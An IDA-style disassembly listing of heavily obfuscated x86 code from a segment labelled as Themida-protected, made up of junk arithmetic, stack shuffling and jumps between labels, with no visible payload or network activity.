loc_5A819D: ; CODE XREF: Themida_:005A711Aj
jg loc_5A705C
dec esi
jnp loc_5AB2DB
shr esi, 6
sub esi, 0DCC57E8Ch
inc esi
sub esi, 1
loc_5A81B7: ; CODE XREF: Themida_:00599C17j
add esp, 4
dec esi
jns loc_59AE5A
push edx
push edi
mov edi, 19DF30BCh
dec edi
jmp loc_59AAB7
; ---------------------------------------------------------------------------
loc_5A81CE: ; CODE XREF: Themida_:005ADD82j
add edx, 2BD43C69h
jmp loc_5AB6EE
; ---------------------------------------------------------------------------
loc_5A81D9: ; CODE XREF: Themida_:0059C70Bj
push ebx
mov ebx, 3A02A881h
sub ecx, ebx
pop ebx
jmp loc_5ACF80
; ---------------------------------------------------------------------------
loc_5A81E7: ; CODE XREF: Themida_:0059E1C1j
xor edx, 0ABCA726h
push edi
mov edi, 1DE5486Ah
jmp loc_5A3B5C
; ---------------------------------------------------------------------------
loc_5A81F8: ; CODE XREF: Themida_:005A0A2Aj
; Themida_:005A5EE4j
mov [esp], ecx
mov ecx, 4
jmp loc_5A2A32
; ---------------------------------------------------------------------------
loc_5A8205: ; CODE XREF: Themida_:005A50CEj
sub esi, ebx
jmp loc_59BFDC
; ---------------------------------------------------------------------------
loc_5A820C: ; CODE XREF: Themida_:0059CC50j
pop edx
and eax, esi
pop esi
shr eax, 0Ah
xor eax, ecx
xor eax, ebp
xor ebp, eax
xor eax, ebp
sub esp, 4
mov [esp], ebp
push esp
mov ebp, [esp]
add esp, 4
jmp loc_5A37B4
; ---------------------------------------------------------------------------
loc_5A8233: ; CODE XREF: Themida_:0059C99Dj
mov [esp], edi
push ebx
push 296012B5h
pop ebx
or ebx, 34D33FCFh
jl loc_59FC80
shr ebx, 1
jz loc_59F541
sub ebx, 1EF99FFBh
push ebx
xor dword ptr [esp], 96E2F15h
pop edi
xor edi, 96E2F15h
pop ebx
jmp loc_59D84E
; ---------------------------------------------------------------------------
loc_5A826C: ; CODE XREF: Themida_:0059F503j
; Themida_:005AD8FBj
mov ebp, esp
jmp loc_5ADC05
; ---------------------------------------------------------------------------
loc_5A8273: ; CODE XREF: Themida_:0059A739j
pop esp
push esi
jmp loc_598C56
; ---------------------------------------------------------------------------
loc_5A827A: ; CODE XREF: Themida_:005A8D09j
; Themida_:005AA803j
inc eax
jmp loc_5A43A4
; ---------------------------------------------------------------------------
loc_5A8280: ; CODE XREF: Themida_:005AAAEFj
xor ebp, 60C834C8h
xor edi, ebp
jmp loc_59E959
; ---------------------------------------------------------------------------
loc_5A828D: ; CODE XREF: Themida_:005AF30Cj
and eax, 1D1B5E63h
sub eax, 5A0875A8h
sub eax, 0A5F9D857h
jmp loc_59865D
; ---------------------------------------------------------------------------
loc_5A82A1: ; CODE XREF: Themida_:0059BA97j
sub edi, 76DE3828h
add edi, ebp
add edi, 76DE3828h
mov ebp, [esp]
add esp, 4
add ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_59E848
; ---------------------------------------------------------------------------
loc_5A82C5: ; CODE XREF: Themida_:005A234Fj
add esp, 4
jmp loc_599884
; ---------------------------------------------------------------------------
loc_5A82CD: ; CODE XREF: Themida_:0059F628j
pop eax
add eax, 4
add eax, 4
push eax
jmp loc_5A20EB
; ---------------------------------------------------------------------------
loc_5A82DE: ; CODE XREF: Themida_:005A8F66j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], eax
mov eax, 2
push 56EEh
jmp loc_5A7B9E
; ---------------------------------------------------------------------------
loc_5A8302: ; CODE XREF: Themida_:005A008Bj
mov eax, [esp]
add esp, 4
jmp loc_59F285
; ---------------------------------------------------------------------------
loc_5A830D: ; CODE XREF: Themida_:005A3DC2j
add ecx, 4
sub ecx, 4
jmp loc_5AB98E
; ---------------------------------------------------------------------------
loc_5A831E: ; CODE XREF: Themida_:0059AA04j
; Themida_:005A5E4Dj
pop esi
add esi, 21D8DEh
sub esp, 4
mov [esp], esi
pop eax
pop esi
or eax, 283C2840h
jb loc_5A96D5
jmp loc_59F7C4
; ---------------------------------------------------------------------------
loc_5A833D: ; CODE XREF: Themida_:005A3917j
pop eax
push 6994h
mov [esp], eax
not dword ptr [esp]
jmp loc_5A5E08
; ---------------------------------------------------------------------------
loc_5A834E: ; CODE XREF: Themida_:005A2D2Dj
mov cl, al
jmp loc_5AE8B5
; ---------------------------------------------------------------------------
loc_5A8355: ; CODE XREF: Themida_:005AEB53j
jmp loc_5AE8A2
; ---------------------------------------------------------------------------
loc_5A835A: ; CODE XREF: Themida_:00599D54j
mov esp, [esp]
jmp loc_5AABCF
; ---------------------------------------------------------------------------
loc_5A8362: ; CODE XREF: Themida_:005A05A5j
mov esp, [esp]
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ebp
push esp
mov ebp, [esp]
add esp, 4
push edx
mov edx, 4
add ebp, edx
mov edx, [esp]
add esp, 4
jmp loc_5AD4BE
; ---------------------------------------------------------------------------
loc_5A838F: ; CODE XREF: Themida_:005A5138j
shl ebx, 4
jmp loc_5AE8E3
; ---------------------------------------------------------------------------
loc_5A8397: ; CODE XREF: Themida_:005999CAj
; Themida_:loc_5A1269j
mov ebp, 5E0043F2h
xor edx, ebp
pop ebp
jmp loc_5ACD54
; ---------------------------------------------------------------------------
loc_5A83A4: ; CODE XREF: Themida_:0059CA2Cj
jnp loc_5A5D9E
jmp loc_5A7823
; ---------------------------------------------------------------------------
mov esi, esp
push edi
mov bh, dl
push eax
loc_5A83B5: ; CODE XREF: Themida_:00599517j
xor edi, ecx
mov ecx, [esp]
add esp, 4
add ebp, 28555494h
add ebp, edi
push edx
mov edx, 28555494h
sub ebp, edx
pop edx
pop edi
mov esi, ebp
pop ebp
mov edi, esi
push dword ptr [esp]
pop esi
push edx
mov edx, esp
push edi
mov edi, 6C206504h
xchg ebx, edi
jmp loc_5A774A
; ---------------------------------------------------------------------------
loc_5A83EB: ; CODE XREF: Themida_:loc_5AD3EDj
sub edx, 9B378B89h
xor edx, 769F5B68h
xor eax, edx
pop edx
xor eax, 1A3A609Dh
jmp loc_5A26E4
; ---------------------------------------------------------------------------
loc_5A8404: ; CODE XREF: Themida_:loc_59FCC5j
xor esi, 61E93D67h
add esi, 472703C7h
add eax, esi
pop esi
pop edx
sub esp, 4
mov [esp], ebp
jmp loc_5A6AFD
; ---------------------------------------------------------------------------
loc_5A8422: ; CODE XREF: Themida_:005A76AFj
xor eax, edx
push dword ptr [esp]
jmp loc_5A1962
; ---------------------------------------------------------------------------
loc_5A842C: ; CODE XREF: Themida_:0059FE67j
push 0CA9h
mov [esp], eax
push esi
push small 610Ah
pop si
not si
jmp loc_5ABFEE
; ---------------------------------------------------------------------------
loc_5A8443: ; CODE XREF: Themida_:005A8695j
push edx
push 3B60129Ah
jmp loc_5ADFCC
; ---------------------------------------------------------------------------
loc_5A844E: ; CODE XREF: Themida_:005AD40Cj
push eax
mov eax, 7161C7Ch
dec eax
add eax, 0FFFFFFFFh
add eax, 0F8E9E38Ah
add ebp, eax
mov eax, [esp]
add esp, 4
sub ebp, 4
jmp loc_59D293
; ---------------------------------------------------------------------------
loc_5A8472: ; CODE XREF: Themida_:0059A00Aj
jmp loc_5A2E9F
; ---------------------------------------------------------------------------
loc_5A8477: ; CODE XREF: Themida_:005A9F15j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
push ebx
push ebp
mov ebp, 61FB6D01h
jmp loc_5A76B4
; ---------------------------------------------------------------------------
loc_5A8492: ; CODE XREF: Themida_:00599910j
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_5A3D31
; ---------------------------------------------------------------------------
loc_5A84A2: ; CODE XREF: Themida_:0059D96Bj
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push ebx
mov ebx, esp
sub esp, 4
mov [esp], esi
jmp loc_5A9BD3
; ---------------------------------------------------------------------------
loc_5A84C0: ; CODE XREF: Themida_:00599AEFj
sub al, ch
pop ecx
pop edx
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59C983
; ---------------------------------------------------------------------------
loc_5A84D2: ; CODE XREF: Themida_:005AEF77j
shr ecx, 4
jmp loc_5AEC1D
; ---------------------------------------------------------------------------
loc_5A84DA: ; CODE XREF: Themida_:005A04CEj
mov cx, [esp]
add esp, 2
jmp loc_59B33B
; ---------------------------------------------------------------------------
loc_5A84E6: ; CODE XREF: Themida_:005A6158j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_5A13D2
; ---------------------------------------------------------------------------
loc_5A84F1: ; CODE XREF: Themida_:0059F44Cj
add eax, 4
jmp loc_59EECA
; ---------------------------------------------------------------------------
loc_5A84FB: ; CODE XREF: Themida_:005A8DD9j
add esp, 4
push ecx
jmp loc_59CBC0
; ---------------------------------------------------------------------------
loc_5A8507: ; CODE XREF: Themida_:0059C421j
; Themida_:005AD604j
xor eax, 0D6FF07B0h
mov ecx, eax
pop eax
jmp loc_5A62D2
; ---------------------------------------------------------------------------
loc_5A8514: ; CODE XREF: Themida_:005AF0C6j
add ebp, 4
sub esp, 4
mov [esp], ecx
mov ecx, 4
jmp loc_598EA8
; ---------------------------------------------------------------------------
loc_5A852D: ; CODE XREF: Themida_:005AE863j
shr ebx, 5
dec ebx
jle loc_5A5217
xor ebx, 18A25B1Dh
mov ecx, ebx
pop ebx
add ecx, 0DC73BF1Bh
jmp loc_599A40
; ---------------------------------------------------------------------------
loc_5A854B: ; CODE XREF: Themida_:0059E4A9j
jge loc_59ED25
neg ebx
jbe loc_59BC78
mov ebp, edx
loc_5A855B: ; CODE XREF: Themida_:005ABFD7j
sub eax, 38616C74h
sub eax, esi
jmp loc_5A107B
; ---------------------------------------------------------------------------
loc_5A8567: ; CODE XREF: Themida_:005A4D72j
add esi, eax
pop eax
jmp loc_5A1D5E
; ---------------------------------------------------------------------------
loc_5A856F: ; CODE XREF: Themida_:005A2BE3j
push esi
push esp
jmp loc_59DB83
; ---------------------------------------------------------------------------
loc_5A8576: ; CODE XREF: Themida_:005AA51Cj
push ecx
jmp loc_59D452
; ---------------------------------------------------------------------------
loc_5A857C: ; CODE XREF: Themida_:005A9DC1j
and esi, 4A7829BAh
xor esi, 0EBE782Dh
shr esi, 2
xor esi, 7ABCAC0h
add ebp, esi
pop esi
jmp loc_5A9B5C
; ---------------------------------------------------------------------------
loc_5A8599: ; CODE XREF: Themida_:005A1E6Aj
mov [esp], edx
mov edx, esp
push eax
push 4
pop eax
add edx, eax
push dword ptr [esp]
jmp loc_5A534C
; ---------------------------------------------------------------------------
loc_5A85AF: ; CODE XREF: Themida_:0059D1D3j
neg ebx
jle loc_5AEC90
or ebx, 75B9602Fh
xchg ecx, ebx
not ecx
loc_5A85C1: ; CODE XREF: Themida_:005A1A43j
add esp, 4
jmp loc_59C32B
; ---------------------------------------------------------------------------
loc_5A85CC: ; CODE XREF: Themida_:0059AE33j
xchg ebx, [esp]
mov esp, [esp]
add ecx, 4
jmp loc_59EE47
; ---------------------------------------------------------------------------
loc_5A85DD: ; CODE XREF: Themida_:005ADE5Ej
add edx, eax
pop eax
sub esp, 4
mov [esp], eax
mov eax, 4
add edx, eax
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
xchg edx, [esp]
pop esp
sub esp, 4
mov [esp], edi
mov edi, esp
push eax
mov eax, 5B1021C0h
dec eax
sub eax, 5B1021BBh
add edi, eax
jmp loc_5A9AC6
; ---------------------------------------------------------------------------
loc_5A8633: ; CODE XREF: Themida_:005AA866j
; Themida_:005ADB79j
add ebp, esi
pop esi
xchg ebp, [esp]
mov esp, [esp]
mov cx, [esp]
push 6053h
mov [esp], edx
push 782h
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
mov edx, [esp]
add esp, 4
push eax
push ebx
jmp loc_5A9F1A
; ---------------------------------------------------------------------------
loc_5A866B: ; CODE XREF: Themida_:005AE07Dj
mov eax, ecx
pop ecx
push eax
mov eax, 7DD94E74h
jmp loc_598642
; ---------------------------------------------------------------------------
loc_5A8679: ; CODE XREF: Themida_:0059B648j
mov ecx, 173650E8h
mov esi, ecx
mov ecx, [esp]
push edx
mov edx, esp
jmp loc_5A8DC3
; ---------------------------------------------------------------------------
loc_5A868B: ; CODE XREF: Themida_:005ACEF0j
pop ebx
push edi
jmp loc_59DE1D
; ---------------------------------------------------------------------------
loc_5A8692: ; CODE XREF: Themida_:005A12EEj
mov [esp], ebp
jmp loc_5A8443
; ---------------------------------------------------------------------------
loc_5A869A: ; CODE XREF: Themida_:0059AC32j
; Themida_:005A5F2Aj
pop esi
sub esi, 2C44304Ah
jmp loc_5AF13B
; ---------------------------------------------------------------------------
loc_5A86A6: ; CODE XREF: Themida_:005AE148j
sub ecx, ebx
pop ebx
add ecx, esi
push eax
mov eax, 5EDE47DEh
jmp loc_5A2354
; ---------------------------------------------------------------------------
loc_5A86B6: ; CODE XREF: Themida_:005A00FAj
xchg edx, [esp]
pop esp
mov [esp], edi
push 2172h
jmp loc_5A762F
; ---------------------------------------------------------------------------
loc_5A86C7: ; CODE XREF: Themida_:005A2415j
not edi
jmp loc_5A5BD9
; ---------------------------------------------------------------------------
loc_5A86CE: ; CODE XREF: Themida_:005ACCB4j
pop dword ptr [esp]
pop esp
add esp, 4
jmp loc_5A8DAC
; ---------------------------------------------------------------------------
loc_5A86DD: ; CODE XREF: Themida_:0059DF3Bj
xchg edi, [esp]
pop esp
mov [esp], esi
mov esi, 0E681A19h
sub esi, 77D61AECh
sub edx, esi
jmp loc_59CDF2
; ---------------------------------------------------------------------------
loc_5A86F6: ; CODE XREF: Themida_:005A6172j
mov bl, dl
push edx
mov dl, bl
mov ch, dl
pop edx
mov ebx, [esp]
add esp, 4
pop edx
add ch, 16h
push edx
mov dh, 96h
jmp loc_5A6C25
; ---------------------------------------------------------------------------
loc_5A8713: ; CODE XREF: Themida_:0059A311j
xor edx, 4902666Fh
mov esi, edx
pop edx
jmp loc_5A7D38
; ---------------------------------------------------------------------------
loc_5A8721: ; CODE XREF: Themida_:005A3B79j
neg ch
or ch, 0Ch
not ch
push edx
mov dh, 0F5h
xor dh, 3Fh
and dh, 0F9h
push 0
sub [esp], dh
jmp loc_5AB714
; ---------------------------------------------------------------------------
loc_5A873E: ; CODE XREF: Themida_:0059D809j
; Themida_:0059E195j
add bl, al
jmp loc_5AB23D
; ---------------------------------------------------------------------------
loc_5A8745: ; CODE XREF: Themida_:00599ADCj
; Themida_:005A237Fj
add ebx, 4DAB1463h
pop ecx
add ebx, esi
push ebp
mov ebp, 4A80641Fh
jmp loc_5998AA
; ---------------------------------------------------------------------------
loc_5A8759: ; CODE XREF: Themida_:005AD725j
mov eax, 423203F0h
neg eax
shr eax, 8
push esi
push ecx
push 8941ACAh
pop ecx
xor ecx, 829D732h
mov esi, ecx
pop ecx
xor eax, esi
jmp loc_5A0160
; ---------------------------------------------------------------------------
loc_5A877B: ; CODE XREF: Themida_:005AD080j
add ebx, 3ABE5430h
sub ebx, edi
sub ebx, 3ABE5430h
sub ebx, 58FF11C1h
mov edi, [esp]
add esp, 4
sub ebx, 3EA94280h
jmp loc_59FB13
; ---------------------------------------------------------------------------
loc_5A87A3: ; CODE XREF: Themida_:0059945Aj
; Themida_:005A2002j
add ebx, ebp
add ebx, 5D07287Eh
jmp loc_599A1C
; ---------------------------------------------------------------------------
loc_5A87B0: ; CODE XREF: Themida_:005A0D7Aj
pop ebp
push 6F87h
mov [esp], ecx
jmp loc_5A42F5
; ---------------------------------------------------------------------------
loc_5A87BE: ; CODE XREF: Themida_:loc_5A6C3Dj
shr ebx, 8
or ebx, 6A7828A1h
jb loc_59A298
xor ebx, 4B3342CFh
jmp loc_5AA9E5
; ---------------------------------------------------------------------------
loc_5A87D8: ; CODE XREF: Themida_:loc_5AAD55j
sub eax, 9E0717E5h
mov edx, eax
pop eax
push edx
pop edi
jmp loc_59EC05
; ---------------------------------------------------------------------------
loc_5A87E7: ; CODE XREF: Themida_:005ADC52j
pop ebx
push 0AF3h
mov [esp], ecx
jmp loc_59C189
; ---------------------------------------------------------------------------
loc_5A87F5: ; CODE XREF: Themida_:005A558Dj
; Themida_:005A8B67j
add esp, 4
add ebx, 2
jmp loc_59CA31
; ---------------------------------------------------------------------------
loc_5A8803: ; CODE XREF: Themida_:005A9EB1j
xor al, bl
jmp loc_5A07D0
; ---------------------------------------------------------------------------
loc_5A880A: ; CODE XREF: Themida_:0059D448j
xor eax, 0D6FF07B0h
mov ecx, eax
pop eax
jmp loc_5A560A
; ---------------------------------------------------------------------------
loc_5A8817: ; CODE XREF: Themida_:005AB66Dj
mov bl, ah
jmp loc_59EDBC
; ---------------------------------------------------------------------------
loc_5A881E: ; CODE XREF: Themida_:005AA61Dj
pop eax
add ebx, 1
push 7721h
jmp loc_5AB35D
; ---------------------------------------------------------------------------
loc_5A882F: ; CODE XREF: Themida_:005AAEE2j
mov [esp], edx
push 60A7h
mov [esp], esp
jmp loc_5A5C6E
; ---------------------------------------------------------------------------
loc_5A883F: ; CODE XREF: Themida_:005A0CC2j
push dx
push ecx
push eax
mov al, 91h
sub esp, 4
mov [esp], ebx
push edx
mov dh, al
mov bh, dh
pop edx
mov cl, bh
pop ebx
pop eax
jmp loc_5A1DD8
; ---------------------------------------------------------------------------
loc_5A885A: ; CODE XREF: Themida_:0059B21Ej
and al, 7
inc al
not al
add al, 13h
xor cl, al
pop eax
sub esp, 4
mov [esp], edx
mov dh, 64h
sub dh, 96h
add cl, dh
mov edx, [esp]
jmp loc_59F081
; ---------------------------------------------------------------------------
loc_5A887D: ; CODE XREF: Themida_:0059F7F0j
pop ebp
sub edx, ecx
jmp loc_5A542D
; ---------------------------------------------------------------------------
loc_5A8885: ; CODE XREF: Themida_:005A7728j
add ecx, 1321064Bh
push ebx
push edi
mov edi, 52F12593h
mov ebx, edi
pop edi
add ecx, ebx
pop ebx
push dword ptr [esp]
push dword ptr [esp]
jmp loc_59934B
; ---------------------------------------------------------------------------
loc_5A88A3: ; CODE XREF: Themida_:0059B0E7j
; Themida_:0059E895j
add edx, ecx
jmp loc_598785
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_59FA45
; ---------------------------------------------------------------------------
loc_5A88B2: ; CODE XREF: Themida_:0059FE89j
add ebp, 4
xchg ebp, [esp]
pop esp
add [esp+4], ebp
push ebp
mov ebp, 77DB2FB3h
sub [esp+8], ebp
pop ebp
jmp loc_5A5CCD
; ---------------------------------------------------------------------------
loc_5A88CD: ; CODE XREF: Themida_:0059EF13j
neg ebx
xchg ebx, edx
and edx, 105539BEh
jmp loc_5AA9B6
; ---------------------------------------------------------------------------
loc_5A88DC: ; CODE XREF: Themida_:0059D86Cj
pop esi
mov eax, 241E6A50h
xor eax, ebp
pop ebp
dec eax
jp loc_5A026A
jmp loc_5AECA8
; ---------------------------------------------------------------------------
loc_5A88F1: ; CODE XREF: Themida_:00599941j
add ebx, 504C0EB8h
jnb loc_59BF0D
add ebx, 70FFFAEDh
mov eax, ebx
pop ebx
jmp loc_59FB59
; ---------------------------------------------------------------------------
loc_5A890B: ; CODE XREF: Themida_:005AB1B5j
pop ebp
mov ebp, 42F64D5Eh
sub ebp, edx
mov edx, [esp]
jmp loc_5AD945
; ---------------------------------------------------------------------------
loc_5A891B: ; CODE XREF: Themida_:005A2B12j
push 639F7EDBh
pop eax
jmp loc_5ABF4A
; ---------------------------------------------------------------------------
loc_5A8926: ; CODE XREF: Themida_:005A0E1Cj
sub edx, ebx
jmp loc_5AD296
; ---------------------------------------------------------------------------
loc_5A892D: ; CODE XREF: Themida_:005AAD78j
mov ebp, edx
pop edx
dec ebp
jg loc_5A9F89
xor ebp, 5C956FBEh
jmp loc_59F1E6
; ---------------------------------------------------------------------------
loc_5A8942: ; CODE XREF: Themida_:005A8046j
push ebp
jmp loc_59CABE
; ---------------------------------------------------------------------------
loc_5A8948: ; CODE XREF: Themida_:005AB9D1j
sub esi, 0A75E9B69h
sub edi, esi
pop esi
add edx, 7AF01FEh
add edx, edi
sub edx, 7AF01FEh
pop edi
add edx, 4
xchg edx, [esp]
jmp loc_59CE1A
; ---------------------------------------------------------------------------
loc_5A896B: ; CODE XREF: Themida_:005A0D74j
add eax, 4
push esi
mov esi, 2
jmp loc_5A44CC
; ---------------------------------------------------------------------------
loc_5A897B: ; CODE XREF: Themida_:0059E660j
sub ebx, 36312951h
push 3D6Eh
jmp loc_5A7012
; ---------------------------------------------------------------------------
loc_5A898B: ; CODE XREF: Themida_:0059BE87j
push dword ptr [esp]
pop edi
add esp, 4
sub eax, 759A7A3Eh
sub eax, 1D7627EEh
sub eax, ecx
push edx
jmp loc_5AECF7
; ---------------------------------------------------------------------------
loc_5A89A4: ; CODE XREF: Themida_:005AACD3j
; Themida_:005AC084j
add esi, 4
jmp loc_5AAB0D
; ---------------------------------------------------------------------------
loc_5A89AF: ; CODE XREF: Themida_:0059B2BAj
add edx, 4
xchg edx, [esp]
pop esp
add esp, 4
pop ebp
sub eax, 543F45E0h
sub eax, edx
push esi
mov esi, 68F11F4Ah
jmp loc_5A33C0
; ---------------------------------------------------------------------------
loc_5A89D2: ; CODE XREF: Themida_:00599671j
mov [esp], bx
jmp loc_5A49BB
; ---------------------------------------------------------------------------
loc_5A89DB: ; CODE XREF: Themida_:0059BD6Ej
neg dh
xchg dh, bh
neg bh
push ax
mov al, 5Dh
jmp loc_5AB463
; ---------------------------------------------------------------------------
loc_5A89EA: ; CODE XREF: Themida_:0059C97Ej
; Themida_:005AA2C5j
add bl, al
mov eax, [esp]
jmp loc_5A0F04
; ---------------------------------------------------------------------------
loc_5A89F4: ; CODE XREF: Themida_:005A2D48j
add esi, ebp
mov ebp, [esp]
add esp, 4
mov edi, esi
pop esi
add ebx, 18B8444Ah
jmp loc_59FA53
; ---------------------------------------------------------------------------
loc_5A8A0D: ; CODE XREF: Themida_:005AD041j
add ebp, edi
jmp loc_599115
; ---------------------------------------------------------------------------
loc_5A8A14: ; CODE XREF: Themida_:005AE7DEj
mov edi, ecx
pop ecx
sub eax, 53773DBCh
add eax, 6DD23CA8h
sub eax, 237A695Fh
add eax, edi
add eax, 237A695Fh
sub eax, 6DD23CA8h
add eax, 53773DBCh
mov edi, [esp]
add esp, 4
xchg eax, [esp]
mov esp, [esp]
jmp loc_5A6763
; ---------------------------------------------------------------------------
loc_5A8A48: ; CODE XREF: Themida_:005AD737j
mov [esp], edx
mov edx, 4
push edx
mov edx, 0D380315h
or edx, 76B1C11h
dec edx
shl edx, 7
xor edx, 0D5A5B01Ch
jmp loc_59DE67
; ---------------------------------------------------------------------------
loc_5A8A6B: ; CODE XREF: Themida_:loc_5A4E69j
xor edx, 13C846F9h
jp loc_5ADC74
jmp loc_5A5559
; ---------------------------------------------------------------------------
loc_5A8A7C: ; CODE XREF: Themida_:0059AB2Bj
mov edx, 0BD965AEh
jmp loc_59DEA6
; ---------------------------------------------------------------------------
loc_5A8A86: ; CODE XREF: Themida_:005A701Cj
mov ebx, 6C4C5F69h
jmp loc_59BEB9
; ---------------------------------------------------------------------------
loc_5A8A90: ; CODE XREF: Themida_:005AB358j
add esi, 4
xchg esi, [esp]
pop esp
push 57D7h
mov [esp], edi
jmp loc_5AB57F
; ---------------------------------------------------------------------------
loc_5A8AA4: ; CODE XREF: Themida_:005A03D3j
not edi
add edi, 31E038D4h
sub edi, 0C8A71472h
mov ecx, edi
jmp loc_5A1AA8
; ---------------------------------------------------------------------------
loc_5A8AB9: ; CODE XREF: Themida_:005AA745j
pop esp
push esi
mov esi, 4
add ebp, esi
jmp loc_5A7C8F
; ---------------------------------------------------------------------------
loc_5A8AC7: ; CODE XREF: Themida_:0059FC96j
; Themida_:005A6AE7j ...
mov eax, [esp]
add esp, 4
add bl, ch
pop ecx
jmp loc_59C974
; ---------------------------------------------------------------------------
loc_5A8AD8: ; CODE XREF: Themida_:005A4B09j
add ebx, 180241C0h
mov esi, ebx
pop ebx
add esi, 7B757AEh
jnb loc_59D88E
jmp loc_5AA17D
; ---------------------------------------------------------------------------
mov esi, esp
push ecx
push 4
pop ecx
push edi
loc_5A8AFC: ; CODE XREF: Themida_:0059F471j
pop bx
and dl, cl
jmp loc_5A68F8
; ---------------------------------------------------------------------------
loc_5A8B05: ; CODE XREF: Themida_:005AE123j
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_5AC759
; ---------------------------------------------------------------------------
loc_5A8B1A: ; CODE XREF: Themida_:005A2336j
add eax, 7FDE0B5Fh
jmp loc_5AD0BC
; ---------------------------------------------------------------------------
loc_5A8B24: ; CODE XREF: Themida_:0059FA6Ej
push ax
pushf
jmp loc_5AA941
; ---------------------------------------------------------------------------
loc_5A8B2C: ; CODE XREF: Themida_:005A9AC1j
add esi, 0FFFFFFFFh
jmp loc_5984A1
; ---------------------------------------------------------------------------
loc_5A8B34: ; CODE XREF: Themida_:loc_5A7F0Ej
shr ebp, 3
sub ebp, 84AF2740h
sub dword ptr [esp+4], 40FC14DFh
sub dword ptr [esp+4], 0DF910DFh
add [esp+4], ebp
add dword ptr [esp+4], 0DF910DFh
jmp loc_59B762
; ---------------------------------------------------------------------------
loc_5A8B5E: ; CODE XREF: Themida_:005AD7FBj
sub ebx, 33B94023h
mov eax, [esp]
jmp loc_5A87F5
; ---------------------------------------------------------------------------
loc_5A8B6C: ; CODE XREF: Themida_:005AC6EDj
pop esi
jmp loc_5A431E
; ---------------------------------------------------------------------------
loc_5A8B72: ; CODE XREF: Themida_:0059D3E9j
mov [esp], edx
jmp loc_5A18FD
; ---------------------------------------------------------------------------
loc_5A8B7A: ; CODE XREF: Themida_:005ABD54j
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push 6353h
mov [esp], ebp
mov ebp, 4
add edx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push 20A0h
jmp loc_5AE2B9
; ---------------------------------------------------------------------------
loc_5A8BAA: ; CODE XREF: Themida_:005A0E39j
pop ebp
push 613Fh
mov [esp], ebx
push 4F792D9Fh
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5A7AA9
; ---------------------------------------------------------------------------
loc_5A8BD3: ; CODE XREF: Themida_:0059AFBBj
pop ebx
xor ch, 1Ah
shl ch, 3
jmp loc_5A1255
; ---------------------------------------------------------------------------
loc_5A8BDF: ; CODE XREF: Themida_:0059BBE0j
add ebp, 5AE02665h
add ebp, esi
sub ebp, 5AE02665h
add ebp, 2BEC54A2h
mov esi, [esp]
jmp loc_5A7075
; ---------------------------------------------------------------------------
loc_5A8BFB: ; CODE XREF: Themida_:005A4708j
add ebx, 2FA51F94h
jmp loc_5AE397
; ---------------------------------------------------------------------------
loc_5A8C06: ; CODE XREF: Themida_:005ADEA7j
jmp loc_5AED0C
; ---------------------------------------------------------------------------
loc_5A8C0B: ; CODE XREF: Themida_:005AE930j
pop ebp
push 7A31h
mov [esp], ecx
jmp loc_5A0E00
; ---------------------------------------------------------------------------
loc_5A8C19: ; CODE XREF: Themida_:005A3961j
pop ecx
jmp loc_59D531
; ---------------------------------------------------------------------------
loc_5A8C1F: ; CODE XREF: Themida_:005AD9D0j
xor ebp, ebx
jmp loc_5ADA6F
; ---------------------------------------------------------------------------
loc_5A8C26: ; CODE XREF: Themida_:0059DF76j
push bx
mov bh, 0E5h
sub al, 7Ah
sub al, bh
add al, 7Ah
pop bx
jmp loc_5A0AEF
; ---------------------------------------------------------------------------
loc_5A8C37: ; CODE XREF: Themida_:0059A439j
mov eax, esp
push esi
jmp loc_5A69C0
; ---------------------------------------------------------------------------
loc_5A8C3F: ; CODE XREF: Themida_:0059BFD7j
add edx, 4
push ecx
mov ecx, 4
jmp loc_5A4037
; ---------------------------------------------------------------------------
lodsd
sub esp, 4
jmp loc_59BF4D
; ---------------------------------------------------------------------------
loc_5A8C5C: ; CODE XREF: Themida_:0059E264j
mov eax, 57F4320Dh
shr eax, 8
push edx
mov edx, 3CF6256Ch
shr edx, 8
xchg ebp, edx
not ebp
xchg ebp, edx
jmp loc_59A2D4
; ---------------------------------------------------------------------------
loc_5A8C78: ; CODE XREF: Themida_:0059D2E5j
mov esi, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
push 6941h
mov [esp], edx
mov ebx, [esp]
jmp loc_5A57BB
; ---------------------------------------------------------------------------
mov eax, 0DA91742h
jmp loc_5AE008
; ---------------------------------------------------------------------------
loc_5A8C9E: ; CODE XREF: Themida_:loc_5A01D4j
add edi, 1AF1251h
jb loc_5A2C28
add edi, 32A358B0h
mov ecx, edi
pop edi
jmp loc_59D520
; ---------------------------------------------------------------------------
loc_5A8CB8: ; CODE XREF: Themida_:005A2C42j
push 3781h
mov [esp], eax
mov al, 0E5h
xor al, 4Fh
xor dl, al
pop eax
sub al, dl
mov edx, [esp]
add esp, 4
add bl, al
pop eax
sub bl, ch
sub bl, 69h
mov ecx, [esp]
jmp loc_5A2EDB
; ---------------------------------------------------------------------------
loc_5A8CDF: ; CODE XREF: Themida_:005A04ECj
dec edx
jge loc_59C27F
sub esp, 4
mov [esp], ebx
mov ebx, 21747A9Fh
pop esi
loc_5A8CF2: ; CODE XREF: Themida_:005AE6A0j
add ecx, 1CD011A9h
jmp loc_5A7925
; ---------------------------------------------------------------------------
loc_5A8CFD: ; CODE XREF: Themida_:005A4032j
add dh, 6Ch
or dh, 6Fh
jmp loc_5A67DF
; ---------------------------------------------------------------------------
loc_5A8D08: ; CODE XREF: Themida_:005A0951j
dec ebp
jo loc_5A827A
or ebp, 0DF93974h
jp loc_5AAE15
neg ebp
jmp loc_59E6F3
; ---------------------------------------------------------------------------
